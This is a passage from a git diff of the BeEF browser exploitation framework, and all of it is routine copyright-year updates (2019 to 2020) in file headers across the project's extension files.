a/extensions/etag/extension.rb b/extensions/etag/extension.rb index dabfdc469..a8aad5eb8 100644 --- a/extensions/etag/extension.rb +++ b/extensions/etag/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/evasion/config.yaml b/extensions/evasion/config.yaml index afbdb489e..95212aa34 100644 --- a/extensions/evasion/config.yaml +++ b/extensions/evasion/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/evasion/evasion.rb b/extensions/evasion/evasion.rb index cec3ea1b3..dd2913592 100644 --- a/extensions/evasion/evasion.rb +++ b/extensions/evasion/evasion.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/evasion/extension.rb b/extensions/evasion/extension.rb index 181e8661a..99f6d4161 100644 --- a/extensions/evasion/extension.rb +++ b/extensions/evasion/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/evasion/obfuscation/base_64.rb b/extensions/evasion/obfuscation/base_64.rb index 4c3cdf3b4..a9e56ef14 100644 --- a/extensions/evasion/obfuscation/base_64.rb +++ b/extensions/evasion/obfuscation/base_64.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/evasion/obfuscation/minify.rb b/extensions/evasion/obfuscation/minify.rb index 6e2a0669d..62c98daf6 100644 --- a/extensions/evasion/obfuscation/minify.rb +++ b/extensions/evasion/obfuscation/minify.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/evasion/obfuscation/scramble.rb b/extensions/evasion/obfuscation/scramble.rb index bbab2d116..81900d18c 100644 --- a/extensions/evasion/obfuscation/scramble.rb +++ b/extensions/evasion/obfuscation/scramble.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/evasion/obfuscation/whitespace.rb b/extensions/evasion/obfuscation/whitespace.rb index ea42dfc2f..d5cbade78 100644 --- a/extensions/evasion/obfuscation/whitespace.rb +++ b/extensions/evasion/obfuscation/whitespace.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/events/api.rb b/extensions/events/api.rb index 66b4358b7..ac436de00 100644 --- a/extensions/events/api.rb +++ b/extensions/events/api.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/events/config.yaml b/extensions/events/config.yaml index c6e9f38b9..cf547604c 100644 --- a/extensions/events/config.yaml +++ b/extensions/events/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/events/extension.rb b/extensions/events/extension.rb index f543a4ebf..29614cad4 100644 --- a/extensions/events/extension.rb +++ b/extensions/events/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/events/handler.rb b/extensions/events/handler.rb index 2ac2dfa16..8dba1d909 100644 --- a/extensions/events/handler.rb +++ b/extensions/events/handler.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/ipec/config.yaml b/extensions/ipec/config.yaml index 801af8fd7..db3080aeb 100644 --- a/extensions/ipec/config.yaml +++ b/extensions/ipec/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/ipec/extension.rb b/extensions/ipec/extension.rb index 9d37f007c..4aa4ab732 100644 --- a/extensions/ipec/extension.rb +++ b/extensions/ipec/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/ipec/files/LinkTargetFinder/chrome/content/linkTargetFinder.js b/extensions/ipec/files/LinkTargetFinder/chrome/content/linkTargetFinder.js index b8873a069..e31148bfc 100644 --- a/extensions/ipec/files/LinkTargetFinder/chrome/content/linkTargetFinder.js +++ b/extensions/ipec/files/LinkTargetFinder/chrome/content/linkTargetFinder.js @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/extensions/ipec/files/LinkTargetFinder/defaults/preferences/prefs.js b/extensions/ipec/files/LinkTargetFinder/defaults/preferences/prefs.js index 4058eaecd..3bba1e5fd 100644 --- a/extensions/ipec/files/LinkTargetFinder/defaults/preferences/prefs.js +++ b/extensions/ipec/files/LinkTargetFinder/defaults/preferences/prefs.js @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/extensions/ipec/files/LinkTargetFinder/skin/skin.css b/extensions/ipec/files/LinkTargetFinder/skin/skin.css index dd2b66633..7929e36ed 100644 --- a/extensions/ipec/files/LinkTargetFinder/skin/skin.css +++ b/extensions/ipec/files/LinkTargetFinder/skin/skin.css @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/extensions/ipec/junk_calculator.rb b/extensions/ipec/junk_calculator.rb index 8c0f80c49..987d2ab5f 100644 --- a/extensions/ipec/junk_calculator.rb +++ b/extensions/ipec/junk_calculator.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/ipec/models/ipec_exploits.rb b/extensions/ipec/models/ipec_exploits.rb index 1c4dcc46b..a93d9d30e 100644 --- a/extensions/ipec/models/ipec_exploits.rb +++ b/extensions/ipec/models/ipec_exploits.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/ipec/models/ipec_exploits_run.rb b/extensions/ipec/models/ipec_exploits_run.rb index bc7616616..de59dbcdc 100644 --- a/extensions/ipec/models/ipec_exploits_run.rb +++ b/extensions/ipec/models/ipec_exploits_run.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/ipec/rest/ipec.rb b/extensions/ipec/rest/ipec.rb index 76621c052..4e7b8b594 100644 --- a/extensions/ipec/rest/ipec.rb +++ b/extensions/ipec/rest/ipec.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/metasploit/api.rb b/extensions/metasploit/api.rb index 2aa3eb96a..b0ceb9da0 100644 --- a/extensions/metasploit/api.rb +++ b/extensions/metasploit/api.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/metasploit/config.yaml b/extensions/metasploit/config.yaml index 70c2590ca..f76d17263 100644 --- a/extensions/metasploit/config.yaml +++ b/extensions/metasploit/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/metasploit/extension.rb b/extensions/metasploit/extension.rb index 9fa913391..34c998f04 100644 --- a/extensions/metasploit/extension.rb +++ b/extensions/metasploit/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/metasploit/module.rb b/extensions/metasploit/module.rb index d4e29ec2d..62747fa56 100644 --- a/extensions/metasploit/module.rb +++ b/extensions/metasploit/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/metasploit/rest/msf.rb b/extensions/metasploit/rest/msf.rb index a2438873b..02d212f09 100644 --- a/extensions/metasploit/rest/msf.rb +++ b/extensions/metasploit/rest/msf.rb @@ -1,6 +1,6 @@ require_relative '../../../core/main/router/router.rb' # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/metasploit/rpcclient.rb b/extensions/metasploit/rpcclient.rb index 855f7c7d1..0b227c2e7 100644 --- a/extensions/metasploit/rpcclient.rb +++ b/extensions/metasploit/rpcclient.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/network/api.rb b/extensions/network/api.rb index 9093c2309..dee3f71d8 100644 --- a/extensions/network/api.rb +++ b/extensions/network/api.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/network/config.yaml b/extensions/network/config.yaml index fd016833b..6246f8480 100644 --- a/extensions/network/config.yaml +++ b/extensions/network/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/network/extension.rb b/extensions/network/extension.rb index beb210a5e..c85f55927 100644 --- a/extensions/network/extension.rb +++ b/extensions/network/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/network/models/network_host.rb b/extensions/network/models/network_host.rb index d8d0886f9..9b0b8fc68 100644 --- a/extensions/network/models/network_host.rb +++ b/extensions/network/models/network_host.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/network/models/network_service.rb b/extensions/network/models/network_service.rb index af8b7dea1..e61c565b5 100644 --- a/extensions/network/models/network_service.rb +++ b/extensions/network/models/network_service.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/network/rest/network.rb b/extensions/network/rest/network.rb index 2586d69aa..1e905c0d6 100644 --- a/extensions/network/rest/network.rb +++ b/extensions/network/rest/network.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/notifications/channels/email.rb b/extensions/notifications/channels/email.rb index 179a96efb..3f2111c99 100644 --- a/extensions/notifications/channels/email.rb +++ b/extensions/notifications/channels/email.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/notifications/channels/slack_workspace.rb b/extensions/notifications/channels/slack_workspace.rb index b705957d7..81473d8b2 100644 --- a/extensions/notifications/channels/slack_workspace.rb +++ b/extensions/notifications/channels/slack_workspace.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/notifications/channels/tweet.rb b/extensions/notifications/channels/tweet.rb index ba225c48c..45ff400ad 100644 --- a/extensions/notifications/channels/tweet.rb +++ b/extensions/notifications/channels/tweet.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/notifications/config.yaml b/extensions/notifications/config.yaml index 107e1c81b..2f696e974 100644 --- a/extensions/notifications/config.yaml +++ b/extensions/notifications/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/notifications/extension.rb b/extensions/notifications/extension.rb index c0f4a725a..185024d8e 100644 --- a/extensions/notifications/extension.rb +++ b/extensions/notifications/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/notifications/notifications.rb b/extensions/notifications/notifications.rb index 30ea95872..68c8a0958 100644 --- a/extensions/notifications/notifications.rb +++ b/extensions/notifications/notifications.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/proxy/api.rb b/extensions/proxy/api.rb index 4457b8929..74f2e5fe9 100644 --- a/extensions/proxy/api.rb +++ b/extensions/proxy/api.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/proxy/config.yaml b/extensions/proxy/config.yaml index 1fc8043a8..74f6111c1 100644 --- a/extensions/proxy/config.yaml +++ b/extensions/proxy/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/proxy/extension.rb b/extensions/proxy/extension.rb index 8cb6fed58..7898232db 100644 --- a/extensions/proxy/extension.rb +++ b/extensions/proxy/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/proxy/proxy.rb b/extensions/proxy/proxy.rb index 7fd95d357..c9f51f9c9 100644 --- a/extensions/proxy/proxy.rb +++ b/extensions/proxy/proxy.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/proxy/rest/proxy.rb b/extensions/proxy/rest/proxy.rb index 82cf9be1a..2b28e5bf3 100644 --- a/extensions/proxy/rest/proxy.rb +++ b/extensions/proxy/rest/proxy.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/qrcode/config.yaml b/extensions/qrcode/config.yaml index e1562c65e..b0f2f82fd 100644 --- a/extensions/qrcode/config.yaml +++ b/extensions/qrcode/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/qrcode/extension.rb b/extensions/qrcode/extension.rb index 9aea6a56e..486a58276 100644 --- a/extensions/qrcode/extension.rb +++ b/extensions/qrcode/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/qrcode/qrcode.rb b/extensions/qrcode/qrcode.rb index 68492a93c..b082fd008 100644 --- a/extensions/qrcode/qrcode.rb +++ b/extensions/qrcode/qrcode.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/requester/api.rb b/extensions/requester/api.rb index dc04ebfc8..04abba837 100644 --- a/extensions/requester/api.rb +++ b/extensions/requester/api.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/requester/api/hook.rb b/extensions/requester/api/hook.rb index 1a6757420..6a381a59d 100644 --- a/extensions/requester/api/hook.rb +++ b/extensions/requester/api/hook.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # @@ -40,7 +40,7 @@ module BeEF # If we use WebSockets, just reply wih the component contents if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session) content = File.read(find_beefjs_component_path 'beef.net.requester').gsub('// - // Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + // Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file \'doc/COPYING\' for copying permission //', "") diff --git a/extensions/requester/config.yaml b/extensions/requester/config.yaml index 102f5bc7c..9fa9d4df4 100644 --- a/extensions/requester/config.yaml +++ b/extensions/requester/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/requester/extension.rb b/extensions/requester/extension.rb index 7a52d0983..6909fd788 100644 --- a/extensions/requester/extension.rb +++ b/extensions/requester/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/requester/handler.rb b/extensions/requester/handler.rb index 696899f74..023df17da 100644 --- a/extensions/requester/handler.rb +++ b/extensions/requester/handler.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/requester/models/http.rb b/extensions/requester/models/http.rb index 4df745abf..8926801b3 100644 --- a/extensions/requester/models/http.rb +++ b/extensions/requester/models/http.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/requester/rest/requester.rb b/extensions/requester/rest/requester.rb index 6343ed8b9..ab104e9a5 100644 --- a/extensions/requester/rest/requester.rb +++ b/extensions/requester/rest/requester.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/s2c_dns_tunnel/api.rb b/extensions/s2c_dns_tunnel/api.rb index 1ef4127f2..3932acb0f 100644 --- a/extensions/s2c_dns_tunnel/api.rb +++ b/extensions/s2c_dns_tunnel/api.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/s2c_dns_tunnel/config.yaml b/extensions/s2c_dns_tunnel/config.yaml index 20d9360d8..962236a73 100644 --- a/extensions/s2c_dns_tunnel/config.yaml +++ b/extensions/s2c_dns_tunnel/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/s2c_dns_tunnel/dnsd.rb b/extensions/s2c_dns_tunnel/dnsd.rb index 4711a9c55..97b9fc1f5 100644 --- a/extensions/s2c_dns_tunnel/dnsd.rb +++ b/extensions/s2c_dns_tunnel/dnsd.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/s2c_dns_tunnel/extension.rb b/extensions/s2c_dns_tunnel/extension.rb index 24b0565f8..c9480da91 100644 --- a/extensions/s2c_dns_tunnel/extension.rb +++ b/extensions/s2c_dns_tunnel/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index a912c5922..e33688ea9 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/social_engineering/extension.rb b/extensions/social_engineering/extension.rb index 6f2e115b7..158452f29 100644 --- a/extensions/social_engineering/extension.rb +++ b/extensions/social_engineering/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/social_engineering/mass_mailer/mass_mailer.rb b/extensions/social_engineering/mass_mailer/mass_mailer.rb index 0b7d3da9f..9ee1f97c9 100644 --- a/extensions/social_engineering/mass_mailer/mass_mailer.rb +++ b/extensions/social_engineering/mass_mailer/mass_mailer.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/social_engineering/mass_mailer/templates/default/mail.html b/extensions/social_engineering/mass_mailer/templates/default/mail.html index a1214d2d2..e536f096f 100644 --- a/extensions/social_engineering/mass_mailer/templates/default/mail.html +++ b/extensions/social_engineering/mass_mailer/templates/default/mail.html @@ -1,5 +1,5 @@ diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/mail.html b/extensions/social_engineering/mass_mailer/templates/edfenergy/mail.html index 9fc9d035f..f0581c069 100644 --- a/extensions/social_engineering/mass_mailer/templates/edfenergy/mail.html +++ b/extensions/social_engineering/mass_mailer/templates/edfenergy/mail.html @@ -1,5 +1,5 @@ diff --git a/extensions/social_engineering/models/interceptor.rb b/extensions/social_engineering/models/interceptor.rb index e6a70bd9a..b981a731a 100644 --- a/extensions/social_engineering/models/interceptor.rb +++ b/extensions/social_engineering/models/interceptor.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/social_engineering/models/mass_mailer.rb b/extensions/social_engineering/models/mass_mailer.rb index adbddc272..9ff44e297 